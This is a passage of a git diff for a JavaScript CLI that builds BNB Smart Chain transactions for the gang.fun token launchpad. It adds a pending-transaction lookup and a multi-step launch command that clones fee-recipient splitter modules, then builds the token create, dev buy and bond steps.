d.txHash || pending + const preview = sent ? previewFor(id) : null + const followed = preview?.followed + let note + if (entry && d.txHash && !pending) note = await revealNote(entry, d.txHash) + else if (entry && pending) { + note = { published: false, pending: true, retry: 'after the user approves in the Binance App: `gang tx --pending` finds the tx and publishes the note' } + } else if (entry) { + // any other status without a hash: nothing was broadcast, so there's nothing to reveal (and nothing to wait for) + note = { published: false, error: 'no_tx_hash', status: d.status } + } + const share = note?.published ? await shareFor({ note: d.txHash }) : null return out({ success: true, status: d.status, txHash: d.txHash, orderId: d.orderId, pendingConfirmation: pending, + ...(note && { note }), + // kind: a trade preview (summarizeWithNote); every preview has a record, setup steps and bonds take no note + ...(!entry && preview?.kind && !preview.noted && { agentNote: NO_NOTE_SENT }), + ...(followed && { follow: { noteTx: followed, link: noteLink(followed) } }), + ...(share && { share }), next: pending - ? 'Ask the user to approve this transaction in the Binance App, then poll `baw wallet tx-history --binanceChainId 56 --type confirmed --json` for the tx hash and run `gang tx --hash `.' + ? 'Ask the user to approve this transaction in the Binance App, then run `gang tx --pending`: it finds the tx (no hash needed), decodes it and publishes its note.' : (d.txHash ? `gang tx --hash ${d.txHash}` : undefined), }) } case 'tx': { - const hash = opt('hash'); if (!hash) fail('--hash required') - return out({ success: true, ...(await decodeTx(hash)) }) + if (flag('pending')) { + if (flag('hash')) fail('give --hash or --pending, not both') + return out(await pendingReport()) + } + const hash = opt('hash'); if (!/^0x[0-9a-fA-F]{64}$/.test(hash ?? '')) fail('--hash must be a tx hash (0x + 64 hex), or --pending for a trade approved in the Binance App') + if (flag('testnet')) { + // BSC testnet: GangLaunchpad only (no V2 / Soft there, and gang.fun indexes no testnet notes) + let ctx + try { ctx = v3Ctx(true) } catch (e) { fail(e.message) } + const r = await ctx.client.waitForTransactionReceipt({ hash, timeout: 120_000 }) + return out({ + success: true, chainId: Number(ctx.chainId), hash, status: r.status, block: Number(r.blockNumber), + events: decodeLogs(r.logs, GANG_EVENT_ABIS), explorer: `${ctx.explorer}/tx/${hash}`, + }) + } + return out(await txReport(hash)) } default: console.log(HELP); process.exit(cmd ? 1 : 0) diff --git a/src/launch.js b/src/launch.js new file mode 100644 index 0000000..a34264d --- /dev/null +++ b/src/launch.js @@ -0,0 +1,642 @@ +import { createHash, randomBytes } from 'node:crypto' +import { mkdirSync, readdirSync, readFileSync, renameSync, statSync, unlinkSync, writeFileSync } from 'node:fs' +import { dirname, join } from 'node:path' +import { createPublicClient, parseAbi, formatUnits, encodeFunctionData, isAddress, zeroAddress } from 'viem' +import { DIR } from './notes.js' +import { creatorFeeShareOf, gradTiersOf, padNets, NOT_ON_MAINNET, rpcTransport } from './gangpad.js' +import { bondAddress, BOND_ABI } from './bond.js' +import { walletFor } from './fair.js' +import { parseAmount, parseIntIn, step } from './steps.js' +import { buybackBpsOf, FACTORY_ABI, notDeployed, simulateCall, SPLITTER_ABI, splitterFactoryAddress, splitterOf } from './buyback.js' +import { parseSplitSpec, simulateSplit, SPLIT_ABI, SPLIT_FACTORY_ABI, splitFactoryAddress, splitLine, splitNotDeployed, splitOf } from './split.js' +import { LP_ABI, LP_FACTORY_ABI, lpBpsOf, lpFactoryAddress, lpNotDeployed, lpOf, simulateLp } from './lp.js' +import { claimCmd, notThroughModule } from './creatorfee.js' +import { COMBO_ABI, COMBO_FACTORY_ABI, comboFactoryAddress, comboLine, comboNotDeployed, comboOf, comboParts, parseComboSpec, PERMANENT_NOTE, simulateCombo } from './combo.js' + +/** + * One command for a launch: `gang create … [--buyback ] [--dev-buy [--bond [--bond-hold ] + * --bond-days <7-90>]]` (V3) and `gang fair create … [--shares ] --bond [--bond-hold …] --bond-days <7-90>` (打新: the dev buys its + * shares in the create itself). Each run builds the next tx, as every other multi-step command does (wrap / approve + * steps in between): run it, execute, run the same command again. + * + * Progress comes from the chain, not from what was executed: a plan file keeps the wallet, the name / symbol and the + * pad's token count before the create, and each run looks for a token this wallet created with that symbol since then + * (none yet → the create; found and the dev holds none → the V3 dev buy; holds some and no bond → the bond; else done). + * The plan is written only once the create preview succeeds, and a run that finds no token never builds a second + * create on its own (the first may still be landing): `--restart` does. The plan keeps the token once found (no rescan + * on later runs) and is marked done at the end: a done launch only reports, even if the dev's balance or the bond + * changed since (no second buy, bond or create) — for 7 days, then the plan expires. + * --buyback (V3, taxed): before the create, GangBuybackSplitterFactory clones the dev's splitter at + * predict(dev, salt), with a fresh salt per plan kept in it (so the address is known before the clone and never another + * launch's), the create names it as the recipient, and a bind step follows the create. A launch keeps the mode it began + * with: adding --buyback after the create (or dropping it before) is refused rather than starting over. + * --buyback-to names where the dev's part goes (default: the dev); the dev can change it later at once. + * --split :[,…] (V3, taxed): the same three steps with GangSplitModuleFactory — the dev's split module (fixed + * payees and shares, split-v1) is cloned at predict(dev, salt), named as the recipient, then bound. The plan keeps which + * module it cloned (`module: 'split'`; a plan without it is a --buyback one), and a re-run with other payees or shares is + * refused rather than starting over. + * --lp [--lp-to ] (V3, taxed): the same three steps with GangLiquiditySplitterFactory — the dev's LP splitter + * (lp-burn-v1: --lp % of the recipient's part added to the pair as liquidity, the LP to 0xdead) is cloned at + * predict(dev, salt), named as the recipient, then bound (`module: 'lp'` in the plan). A launch keeps the ratio and payee + * it began with. --recipient goes with none of them (each sets the recipient). + * More than one of --buyback, --lp, --split (taxed V3): the same three steps with GangComboSplitterFactory — the dev's + * combined recipient (combo-v1: --buyback % of the recipient's part bought back and burned, --lp % added as liquidity, the + * rest pushed to the --split payees, or to the dev alone without --split) is cloned at predict(dev, salt), named as the + * recipient, then bound (`module: 'combo'`). Everything in it is fixed for good, so a re-run with other ratios or payees + * is refused rather than starting over. --buyback-to / --lp-to don't apply (the payees are --split's). + */ + +// the dev's recipient modules by flag, as the creator-fee note names them +const MODULE_NAMES = { buyback: 'buy-back splitter', split: 'split module', lp: 'LP splitter', combo: 'combined recipient' } +const LAUNCH_DIR = process.env.GANG_LAUNCH_DIR || join(dirname(DIR), 'launch') +const TTL_MS = 7 * 24 * 3600_000 +const PAD_ABI = parseAbi([ + 'function tokenCount() view returns (uint256)', + 'function allTokens(uint256) view returns (address)', + 'function kindOf(address token) view returns (uint8)', + 'function curves(address token) view returns (address creator, address quote, uint128 realQuote, uint128 sold, uint128 gradAmt, uint128 virtualQuote, bool graduated, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address pair, address refPair)', + 'function sales(address token) view returns (address creator, uint64 progressAt, uint16 capShares, uint16 holdBps, address quote, uint16 sold, bool launched, uint16 mintFeeBps, uint16 exitFeeBps, address gate, uint128 sharePrice, address pair, address refPool, uint16 markSold)', +]) +const ERC20_ABI = parseAbi(['function balanceOf(address) view returns (uint256)', 'function symbol() view returns (string)']) +/** Flags only the chain reads; everything else goes to the step's own command. */ +/** GANG on BSC mainnet: a quote gang.fun trusts besides WBNB and the pad's QuoteRegistry. */ +const MAINNET_GANG_TOKEN = '0x0c6302401aa5325c2e36f170f52c00b1d220b405' +const REGISTRY_ABI = parseAbi(['function quoteRegistry() view returns (address)', 'function isQuoted(address quote) view returns (bool)']) + +/** + * --buyback only over a quote gang.fun trusts (WBNB, GANG, or listed in the pad's QuoteRegistry): a splitter prices each + * buy-back chunk on what it sends, so a quote that taxes transfers into pairs fails the pair's K check on every chunk + * and the buy-back part is stuck for good (GangBond re-review L-1, 2026-10-29; splitter v3 has the same pricing). + * --split takes the same quotes: a quote that calls the receiver back on transfer would let one payee make every split + * run out of gas, and the keeper splits only these quotes anyway (split spec §2.4). + * --lp takes the same quotes: the keeper adds liquidity only over these, and an unlisted quote may tax or block the + * transfers into the pair every chunk makes. A combined recipient (several of them) takes the same quotes for all reasons. + * null when trusted; otherwise the failure to report. + */ +const UNTRUSTED = { + buyback: { + why: '--buyback needs WBNB, GANG or a quote listed in the pad\'s QuoteRegistry: the buy-back splitter cannot buy back with a quote that taxes transfers into the pair, and an unlisted quote may do that', + hint: 'drop --quote (WBNB), use a listed quote, or launch without --buyback', + }, + split: { + why: '--split needs WBNB, GANG or a quote listed in the pad\'s QuoteRegistry: the keeper splits only those quotes, and an unlisted quote may call the receiver back on transfer, letting one payee make every split run out of gas', + hint: 'drop --quote (WBNB), use a listed quote, or launch without --split', + }, + lp: { + why: '--lp needs WBNB, GANG or a quote listed in the pad\'s QuoteRegistry: the keeper adds liquidity only over those quotes, and an unlisted quote may tax or block the transfers into the pair every chunk makes', + hint: 'drop --quote (WBNB), use a listed quote, or launch without --lp', + }, + combo: { + why: 'a combined recipient (more than one of --buyback / --lp / --split) needs WBNB, GANG or a quote listed in the pad\'s QuoteRegistry: its buy-backs and liquidity adds price on what the pair receives (a quote that taxes transfers into the pair fails every chunk), the keeper serves only those quotes, and an unlisted quote may call a payee back on transfer', + hint: 'drop --quote (WBNB), use a listed quote, or launch without --buyback / --lp / --split', + }, +} +export async function untrustedBuybackQuote(read, net, quote, mode = 'buyback') { + if (!isAddress(quote ?? '')) return { error: '--quote must be a 0x address', got: quote ?? null } + const q = quote.toLowerCase() + if (q === String(net.wbnb).toLowerCase() || (String(net.chainId) === '56' && q === MAINNET_GANG_TOKEN)) return null + const registry = await read(net.pad, REGISTRY_ABI, 'quoteRegistry').catch(() => null) + const listed = registry === null ? null + : registry === zeroAddress ? false + : await read(registry, REGISTRY_ABI, 'isQuoted', [quote]).catch(() => null) + if (listed) return null + return { + error: listed === null + ? `could not read the pad's QuoteRegistry to check the --${mode} quote: try again` + : UNTRUSTED[mode].why, + quote, hint: UNTRUSTED[mode].hint, + } +} + +export const LAUNCH_FLAGS = ['dev-buy', 'bond', 'bond-hold', 'bond-days', 'buyback', 'buyback-to', 'split', 'lp', 'lp-to', 'restart'] +const NOTE_FLAGS = ['note', 'conf', 'reveal-after'] +/** `gang fair create --dev-buy`, with or without --bond (index.js stops the lone flag, runLaunch the chained one). */ +export const FAIR_DEV_BUY = 'a 打新 dev buys its shares in the create itself: use --shares (not --dev-buy)' + +/** The run asks for a chained launch (`kind` 'v3' | 'fair'). */ +export const isLaunch = (kind, flag) => flag('bond') || flag('buyback') || flag('split') || flag('lp') || (kind === 'v3' && flag('dev-buy')) +/** The recipient modules a launch can clone (their flags): one alone clones its own module, several a combined one. */ +const MODULE_FLAGS = ['buyback', 'split', 'lp'] +/** How a module's flags read in a message. */ +const MOD_FLAG = { buyback: '--buyback', split: '--split', lp: '--lp', combo: 'more than one of --buyback / --lp / --split' } + +const planPath = (key) => join(LAUNCH_DIR, `${createHash('sha256').update(key).digest('hex').slice(0, 32)}.json`) + +function readPlan(key) { + try { + const p = JSON.parse(readFileSync(planPath(key), 'utf8')) + return p.createdAt > Date.now() - TTL_MS ? p : null + } catch { return null } +} + +function writePlan(key, plan) { + mkdirSync(LAUNCH_DIR, { recursive: true, mode: 0o700 }) + for (const name of readdirSync(LAUNCH_DIR)) { + const f = join(LAUNCH_DIR, name) + try { if (Date.now() - statSync(f).mtimeMs > TTL_MS) unlinkSync(f) } catch { /* gone */ } + } + const p = planPath(key) + writeFileSync(`${p}.${process.pid}.tmp`, JSON.stringify({ ...plan, createdAt: Date.now() }), { mode: 0o600 }) + renameSync(`${p}.${process.pid}.tmp`, p) +} + +/** An argv reader over `base` (the real one) with `over` replacing / adding flags; a value of undefined drops one. */ +function argsWith(base, over, drop = []) { + const has = (n) => (n in over ? over[n] !== undefined : !drop.includes(n) && base.flag(n)) + return { + flag: has, + opt: (n, def) => (n in over ? (over[n] === undefined ? def : String(over[n])) : drop.includes(n) ? def : base.opt(n, def)), + } +} + +/** + * Entry. `kind` 'v3' | 'fair'. deps: { io (index.js PAD_IO: opt, flag, out, fail, …), runV3, runFair, runBond, padNotes }. + */ +export async function runLaunch(kind, { io, runV3, runFair, runBond, padNotes }) { + const { opt, flag, out, fail } = io + const testnet = flag('testnet') + const net = padNets(kind)[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) return fail(NOT_ON_MAINNET) + const name = opt('name'), symbol = opt('symbol') + if (!name || !symbol) fail('--name and --symbol are required') + if (flag('follow')) fail('--follow does not apply to a launch') + if (kind === 'fair' && flag('dev-buy')) fail(FAIR_DEV_BUY) + if (kind === 'fair' && flag('buyback')) fail('--buyback is for V3 tokens: it makes the tax recipient a buy-back splitter, and a 打新 token has no recipient') + if (kind === 'fair' && flag('split')) fail('--split is for V3 tokens: it makes the tax recipient a split module, and a 打新 token has no recipient') + if (kind === 'fair' && flag('lp')) fail('--lp is for V3 tokens: it makes the tax recipient an LP splitter, and a 打新 token has no recipient') + const mods = MODULE_FLAGS.filter((f) => flag(f)) + // more than one: one combined recipient (GangComboSplitter) does them all + const combo = mods.length > 1 + + // everything checked before the create, so a launch never stops half way on a bad flag + const devBuy = kind === 'v3' && flag('dev-buy') ? parseAmount(fail, 'dev-buy', opt('dev-buy')) : null + const bonding = flag('bond') + if (!bonding && (flag('bond-hold') || flag('bond-days'))) fail('--bond-hold / --bond-days go with --bond ') + let bond = null + if (bonding) { + if (flag('cover')) fail('--cover needs the PancakeSwap pair: a launch bonds before it, so give --bond ') + if (kind === 'v3' && !devBuy) fail('a V3 launch with --bond needs --dev-buy : the creator holds nothing until it buys on the curve') + if (!bondAddress(testnet)) fail(`GangBond is not deployed on ${testnet ? 'the BSC testnet' : 'BSC mainnet'} in this CLI version: drop --bond (and --bond-hold / --bond-days), or add --testnet`) + const hold = String(opt('bond-hold', 'all')).trim() + if (!(hold === 'all' || /^(\d+(\.\d*)?|\.\d+)%?$/.test(hold)) || /^0*(\.0*)?%?$/.test(hold)) { + fail('--bond-hold must be all (everything the dev holds), a token amount, or N% of the supply', { got: opt('bond-hold') }) + } + bond = { amount: parseAmount(fail, 'bond', opt('bond')), hold, days: parseIntIn(fail, 'bond-days', opt('bond-days'), 7, 90) } + } + + // several of --buyback / --lp / --split: a taxed V3 token whose recipient is the dev's combined recipient + let comboFactory = null + if (combo) { + const names = mods.map((f) => `--${f}`).join(' + ') + comboFactory = comboFactoryAddress(testnet) + if (!comboFactory) fail(comboNotDeployed(testnet), { flags: mods.map((f) => `--${f}`) }) + for (const to of ['buyback-to', 'lp-to']) { + if (flag(to)) fail(`--${to} does not apply to a combined recipient (${names}): the part not bought back or added goes to the payees — name them with --split self:,:,… (shares of that rest; without --split it all goes to you)`) + } + const zero = (f) => /^0+(\.0+)?$/.test(opt(f) ?? '') + if (!flag('buy-tax') || !flag('sell-tax') || (zero('buy-tax') && zero('sell-tax'))) { + fail(`${names} needs a taxed token: add --buy-tax and --sell-tax (each 1–5, in %); the combined recipient is paid from the tax`) + } + if (flag('recipient')) fail(`${names} makes the recipient your combined recipient: leave --recipient out`) + if (/^0*100(\.0+)?$/.test(opt('dividend', '0'))) fail(`--dividend 100 leaves nothing for the recipient: lower it or drop ${names}`) + } + + // --buyback: a taxed V3 token whose recipient (the part left after holders) is the dev's splitter + let buyback = null + if (flag('buyback-to') && !flag('buyback')) fail('--buyback-to goes with --buyback : it names where the part not bought back goes') + if (flag('buyback') && !combo) { + const zero = (f) => /^0+(\.0+)?$/.test(opt(f) ?? '') + if (!flag('buy-tax') || !flag('sell-tax') || (zero('buy-tax') && zero('sell-tax'))) { + fail('--buyback needs a taxed token: add --buy-tax and --sell-tax (each 1–5, in %); the buy-back is paid from the tax') + } + if (flag('recipient')) fail('--buyback makes the recipient your buy-back splitter: leave --recipient out') + if (/^0*100(\.0+)?$/.test(opt('dividend', '0'))) fail('--dividend 100 leaves nothing for the recipient, so nothing to buy back: lower it or drop --buyback') + const factory = splitterFactoryAddress(testnet) + if (!factory) fail(notDeployed(testnet)) + let payee = null + if (flag('buyback-to')) { + payee = opt('buyback-to') + if (!isAddress(payee ?? '') || payee === zeroAddress) fail('--buyback-to must be a 0x address, checksummed or all lowercase (where the part not bought back goes; leave it out for your own wallet)', { got: payee ?? null }) + } + buyback = { bps: buybackBpsOf(fail, opt('buyback')), factory, payee } + } + + const me = walletFor({ chainId: net.chainId }, opt('from')) + + // the combined recipient's ratios and payees (shares of the rest), checked as its initialize checks them + let comboSpec = null + if (combo) { + const spec = parseComboSpec({ + buybackBps: flag('buyback') ? buybackBpsOf(fail, opt('buyback')) : 0, + lpBps: flag('lp') ? lpBpsOf(fail, opt('lp')) : 0, + split: flag('split') ? (opt('split') ?? '') : undefined, + }, me) + if (spec.error) { + const { error, ...extra } = spec + fail(error, extra) + } + comboSpec = { ...spec, factory: comboFactory } + } + + // --split: a taxed V3 token whose recipient is the dev's split module (fixed payees and shares) + let split = null + if (flag('split') && !combo) { + const zero = (f) => /^0+(\.0+)?$/.test(opt(f) ?? '') + if (!flag('buy-tax') || !flag('sell-tax') || (zero('buy-tax') && zero('sell-tax'))) { + fail('--split needs a taxed token: add --buy-tax and --sell-tax (each 1–5, in %); the split is paid from the tax') + } + if (flag('recipient')) fail('--split makes the recipient your split module: leave --recipient out') + if (/^0*100(\.0+)?$/.test(opt('dividend', '0'))) fail('--dividend 100 leaves nothing for the recipient, so nothing to split: lower it or drop --split') + const factory = splitFactoryAddress(testnet) + if (!factory) fail(splitNotDeployed(testnet)) + const spec = parseSplitSpec(opt('split'), me) + if (spec.error) { + const { error, ...extra } = spec + fail(error, extra) + } + split = { ...spec, factory } + } + + // --lp: a taxed V3 token whose recipient is the dev's LP splitter (auto-liquidity, the LP to 0xdead) + let lp = null + if (flag('lp-to') && !flag('lp')) fail('--lp-to goes with --lp : it names where the part not added to the pool goes') + if (flag('lp') && !combo) { + const zero = (f) => /^0+(\.0+)?$/.test(opt(f) ?? '') + if (!flag('buy-tax') || !flag('sell-tax') || (zero('buy-tax') && zero('sell-tax'))) { + fail('--lp needs a taxed token: add --buy-tax and --sell-tax (each 1–5, in %); the liquidity is paid from the tax') + } + if (flag('recipient')) fail('--lp makes the recipient your LP splitter: leave --recipient out') + if (/^0*100(\.0+)?$/.test(opt('dividend', '0'))) fail('--dividend 100 leaves nothing for the recipient, so nothing to add to the pool: lower it or drop --lp') + const factory = lpFactoryAddress(testnet) + if (!factory) fail(lpNotDeployed(testnet)) + let payee = null + if (flag('lp-to')) { + payee = opt('lp-to') + if (!isAddress(payee ?? '') || payee === zeroAddress) fail('--lp-to must be a 0x address, checksummed or all lowercase (where the part not added to the pool goes; leave it out for your own wallet)', { got: payee ?? null }) + } + lp = { bps: lpBpsOf(fail, opt('lp')), factory, payee } + } + const mod = comboSpec ? 'combo' : buyback ? 'buyback' : split ? 'split' : lp ? 'lp' : null + + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + const read = (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) + // --grad (2.0): checked here, before a module clone, since the create that takes it comes later + if (kind === 'v3' && flag('grad')) { + const tiers = await gradTiersOf({ chainId: net.chainId, pad: net.pad, read }) + if (!tiers) fail(`--grad: GangLaunchpad ${net.gen ?? net.pad} has no graduation target to pick: leave --grad out`) + if (!tiers.includes(Number(opt('grad')))) fail(`--grad must be one of ${tiers.join(' / ')} (BNB raised)`, { got: opt('grad') ?? null }) + } + const key = [net.chainId, net.pad, me.toLowerCase(), kind, name, symbol].join('|') + const cloneStep = { buyback: 'buyback-splitter', split: 'split-module', lp: 'lp-splitter', combo: 'combo-module' }[mod] + const steps = [...(mod ? [cloneStep] : []), kind === 'v3' ? 'create' : 'create (dev shares included)', ...(mod ? ['bind'] : []), + ...(devBuy ? ['dev-buy'] : []), ...(bond ? ['bond'] : [])] + const rerun = 're-run this same command after executing it' + const tag = (stage, extra = {}) => ({ launch: { stage, steps, ...extra } }) + const withTag = (stage, extra) => (o) => out({ ...o, ...tag(stage, extra) }) + + let plan = flag('restart') ? null : readPlan(key) + // a launch begun on another generation's pad (an older CLI) and not done: its module and token belong to that pad, so + // it is never carried on here, nor started again without --restart + if (!plan && !flag('restart')) { + const old = net.gens.slice(1).map((g) => ({ g, p: readPlan([net.chainId, g.pad, me.toLowerCase(), kind, name, symbol].join('|')) })).find((x) => x.p && !x.p.done) + if (old) { + const tn = testnet ? ' --testnet' : '' + // two pads of one generation (testnet: 2.0 before and after the graduation pick) are told apart by address + const same = old.g.gen === net.gen + const lbl = (g) => (same ? `${g.gen ?? ''} pad ${g.pad}`.trim() : g.gen ?? g.pad) + const [was, now] = [lbl(old.g), lbl(net)] + return fail(`this launch began on GangLaunchpad ${was} and is not done; new tokens now go to ${now}`, { + ...(old.p.token ? { token: old.p.token, hint: `the token is out on ${was}: finish its steps one by one (gang buy --token ${old.p.token} --amount ${tn}, gang bond post --token ${old.p.token} …${tn}), or add --restart to launch a new token on ${now}` } + : { hint: `${old.p.splitter ? `its module ${old.p.splitter} was made for the ${was} pad and does not work with ${now}: ` : ''}add --restart to launch on ${now}` }), + }) + } + } + const base = { kind, name, symbol, me, chainId: net.chainId, pad: net.pad } + + // ---- a launch keeps the mode it began with (the create, once built, is never redone by a changed flag) + const created = plan?.startCount !== undefined + // the module this plan cloned: 'split' / 'lp' / 'combo' when it says so, else a --buyback splitter (plans from before --split) + const planMod = plan?.salt ? (['split', 'lp', 'combo'].includes(plan.module) ? plan.module : 'buyback') : null + const modNoun = { buyback: 'splitter', split: 'split module', lp: 'LP splitter', combo: 'combined recipient' } + if (mod && created && !plan.splitter) { + return fail(`this launch was created without ${MOD_FLAG[mod]} (its recipient is fixed): run it again without ${mod === 'combo' ? '--buyback / --lp / --split' : MOD_FLAG[mod]}, or add --restart for a new token`) + } + if (planMod && mod !== planMod && (!created || mod)) { + const again = planMod === 'combo' ? 'the same --buyback / --lp / --split as before' : MOD_FLAG[planMod] + return fail(`this launch began with ${MOD_FLAG[planMod]} (its ${modNoun[planMod]} is cloned or on the way): run it again with ${again}${mod ? ` instead of ${MOD_FLAG[mod]}` : ''}, or add --restart${mod ? '' : ' without it'}`) + } + + // ---- buy-back splitter: cloned for the dev before the create, at predict(dev, plan.salt) + if (buyback && !created) { + if (!plan?.salt) { + const refused = await untrustedBuybackQuote(read, net, flag('quote') ? opt('quote') : net.wbnb) + if (refused) { + const { error, ...extra } = refused + return fail(error, extra) + } + const salt = `0x${randomBytes(32).toString('hex')}` + const at = await read(buyback.factory, FACTORY_ABI, 'predict', [me, salt]) + const args = [buyback.bps, salt, buyback.payee ?? zeroAddress] + const sim = await simulateCall(client, me, buyback.factory, FACTORY_ABI, 'create', args) + if (sim.failed) return out({ success: false, step: 'buyback-splitter', ...tag('buyback-splitter'), ...sim.failed }) + writePlan(key, { ...base, salt, splitter: at, factory: buyback.factory }) + const data = encodeFunctionData({ abi: FACTORY_ABI, functionName: 'create', args }) + return out({ + ...step({ chainId: net.chainId }, { from: me, to: buyback.factory, data }, { + step: 'buyback-splitter', chainId: Number(net.chainId), factory: buyback.factory, buybackPct: buyback.bps / 100, + splitter: at, payee: buyback.payee ?? me, + note: `clones your buy-back splitter (listed as a tax recipient in the same tx): ${buyback.bps / 100}% of the recipient's part is bought back and burned, the rest goes to ${buyback.payee ? `${buyback.payee} (--buyback-to)` : 'you'}. Later a raise applies at once, a cut only after a 3-day notice; the payee can be changed at once (gang buyback set-payee)`, + }, flag('calldata'), io.summarize), + ...tag('buyback-splitter', { splitter: at, next: `${rerun}: it then builds the create with the splitter as the recipient` }), + }) + } + if ((await client.getCode({ address: plan.splitter }) ?? '0x') === '0x') { + return out({ + success: false, ...tag('buyback-splitter', { splitter: plan.splitter }), error: 'the buy-back splitter is not on chain yet', + hint: `if the clone was executed, wait for it to land and ${rerun.replace(' after executing it', '')}; if it was not, add --restart to build it again`, + }) + } + const s = await splitterOf(read, plan.splitter) + if (!s || s.dev.toLowerCase() !== me.toLowerCase() || s.token) { + return fail('the splitter at this launch\'s address is not an unbound buy-back splitter of this wallet: add --restart', { splitter: plan.splitter }) + } + if (s.buybackBps !== buyback.bps) { + return fail(`this launch's splitter buys back ${s.buybackPct}%, not ${buyback.bps / 100}%: run it again with --buyback ${s.buybackPct}, or add --restart for a new splitter (gang buyback set changes it after the create)`, { splitter: plan.splitter }) + } + const wantPayee = (buyback.payee ?? me).toLowerCase() + if (s.payee.toLowerCase() !== wantPayee) { + const was = s.payee.toLowerCase() === me.toLowerCase() ? 'leave --buyback-to out' : `--buyback-to ${s.payee}` + return fail(`this launch's splitter pays ${s.payee}, not ${buyback.payee ?? me}: run it again with ${was}, or add --restart for a new splitter (gang buyback set-payee changes it after the create)`, { splitter: plan.splitter }) + } + } + + // ---- split module: cloned for the dev before the create, at predict(dev, plan.salt) + if (split && !created) { + if (!plan?.salt) { + const refused = await untrustedBuybackQuote(read, net, flag('quote') ? opt('quote') : net.wbnb, 'split') + if (refused) { + const { error, ...extra } = refused + return fail(error, extra) + } + const salt = `0x${randomBytes(32).toString('hex')}` + const at = await read(split.factory, SPLIT_FACTORY_ABI, 'predict', [me, salt]) + if (split.payees.some((p) => p.toLowerCase() === at.toLowerCase())) return fail('--split: a payee cannot be the split module itself', { module: at }) + const args = [split.payees, split.shares, salt] + const sim = await simulateSplit(client, me, split.factory, SPLIT_FACTORY_ABI, 'create', args) + if (sim.failed) return out({ success: false, step: 'split-module', factory: split.factory, ...tag('split-module'), ...sim.failed }) + writePlan(key, { ...base, salt, splitter: at, factory: split.factory, module: 'split' }) + const data = encodeFunctionData({ abi: SPLIT_FACTORY_ABI, functionName: 'create', args }) + return out({ + ...step({ chainId: net.chainId }, { from: me, to: split.factory, data }, { + step: 'split-module', chainId: Number(net.chainId), factory: split.factory, module: at, payees: split.list, + note: `clones your split module (listed as a tax recipient in the same tx). The recipient's part of the tax is split ${splitLine(split.payees, split.shares)}. PERMANENT: nobody (not you, not the platform) can change the payees or shares later; each payee can only move its own slot to another address (gang split set-payee). The first payee also takes the rounding dust`, + }, flag('calldata'), io.summarize), + ...tag('split-module', { module: at, next: `${rerun}: it then builds the create with the module as the recipient` }), + }) + } + if ((await client.getCode({ address: plan.splitter }) ?? '0x') === '0x') { + return out({ + success: false, ...tag('split-module', { module: plan.splitter }), error: 'the split module is not on chain yet', + hint: `if the clone was executed, wait for it to land and ${rerun.replace(' after executing it', '')}; if it was not, add --restart to build it again`, + }) + } + const s = await splitOf(read, plan.splitter, { wbnb: net.wbnb }) + if (!s || s.dev.toLowerCase() !== me.toLowerCase() || s.token) { + return fail('the module at this launch\'s address is not an unbound split module of this wallet: add --restart', { module: plan.splitter }) + } + const same = s.payees.length === split.payees.length + && s.payees.every((p, i) => p.payee.toLowerCase() === split.payees[i].toLowerCase() && p.bps === split.shares[i]) + if (!same) { + return fail(`this launch's split module pays ${splitLine(s.payees.map((p) => p.payee), s.payees.map((p) => p.bps))}, not what --split says: run it again with that --split, or add --restart for a new module (the payees and shares can never change after the clone)`, { module: plan.splitter }) + } + } + + // ---- LP splitter: cloned for the dev before the create, at predict(dev, plan.salt) + if (lp && !created) { + if (!plan?.salt) { + const refused = await untrustedBuybackQuote(read, net, flag('quote') ? opt('quote') : net.wbnb, 'lp') + if (refused) { + const { error, ...extra } = refused + return fail(error, extra) + } + if ((await client.getCode({ address: lp.factory }) ?? '0x') === '0x') { + return fail(`GangLiquiditySplitterFactory has no code at ${lp.factory} on ${testnet ? 'the BSC testnet' : 'BSC mainnet'} yet: launch without --lp for now${process.env[testnet ? 'GANG_TESTNET_LP_FACTORY' : 'GANG_LP_FACTORY'] ? ` (or fix ${testnet ? 'GANG_TESTNET_LP_FACTORY' : 'GANG_LP_FACTORY'})` : ''}`, { factory: lp.factory }) + } + const salt = `0x${randomBytes(32).toString('hex')}` + const at = await read(lp.factory, LP_FACTORY_ABI, 'predict', [me, salt]) + if (lp.payee && lp.payee.toLowerCase() === at.toLowerCase()) return fail('--lp-to: the payee cannot be the LP splitter itself', { splitter: at }) + const args = [lp.bps, salt, lp.payee ?? zeroAddress] + const sim = await simulateLp(client, me, lp.factory, LP_FACTORY_ABI, 'create', args) + if (sim.failed) return out({ success: false, step: 'lp-splitter', factory: lp.factory, ...tag('lp-splitter'), ...sim.failed }) + writePlan(key, { ...base, salt, splitter: at, factory: lp.factory, module: 'lp' }) + const data = encodeFunctionData({ abi: LP_FACTORY_ABI, functionName: 'create', args }) + return out({ + ...step({ chainId: net.chainId }, { from: me, to: lp.factory, data }, { + step: 'lp-splitter', chainId: Number(net.chainId), factory: lp.factory, lpPct: lp.bps / 100, + splitter: at, payee: lp.payee ?? me, + note: `clones your LP splitter (listed as a tax recipient in the same tx): ${lp.bps / 100}% of the recipient's part is added to the token's PancakeSwap pair as liquidity, the LP sent to 0xdead (locked for good), the rest goes to ${lp.payee ? `${lp.payee} (--lp-to)` : 'you'}. After graduation the keeper adds it in chunks. Later a raise applies at once, a cut only after a 3-day notice; the payee can be changed at once (gang lp set-payee)`, + }, flag('calldata'), io.summarize), + ...tag('lp-splitter', { splitter: at, next: `${rerun}: it then builds the create with the LP splitter as the recipient` }), + }) + } + if ((await client.getCode({ address: plan.splitter }) ?? '0x') === '0x') { + return out({ + success: false, ...tag('lp-splitter', { splitter: plan.splitter }), error: 'the LP splitter is not on chain yet', + hint: `if the clone was executed, wait for it to land and ${rerun.replace(' after executing it', '')}; if it was not, add --restart to build it again`, + }) + } + const s = await lpOf(read, plan.splitter) + if (!s || s.dev.toLowerCase() !== me.toLowerCase() || s.token) { + return fail('the LP splitter at this launch\'s address is not an unbound LP splitter of this wallet: add --restart', { splitter: plan.splitter }) + } + if (s.lpBps !== lp.bps) { + return fail(`this launch's LP splitter adds ${s.lpPct}% to the pool, not ${lp.bps / 100}%: run it again with --lp ${s.lpPct}, or add --restart for a new splitter (gang lp set changes it after the create)`, { splitter: plan.splitter }) + } + const wantPayee = (lp.payee ?? me).toLowerCase() + if (s.payee.toLowerCase() !== wantPayee) { + const was = s.payee.toLowerCase() === me.toLowerCase() ? 'leave --lp-to out' : `--lp-to ${s.payee}` + return fail(`this launch's LP splitter pays ${s.payee}, not ${lp.payee ?? me}: run it 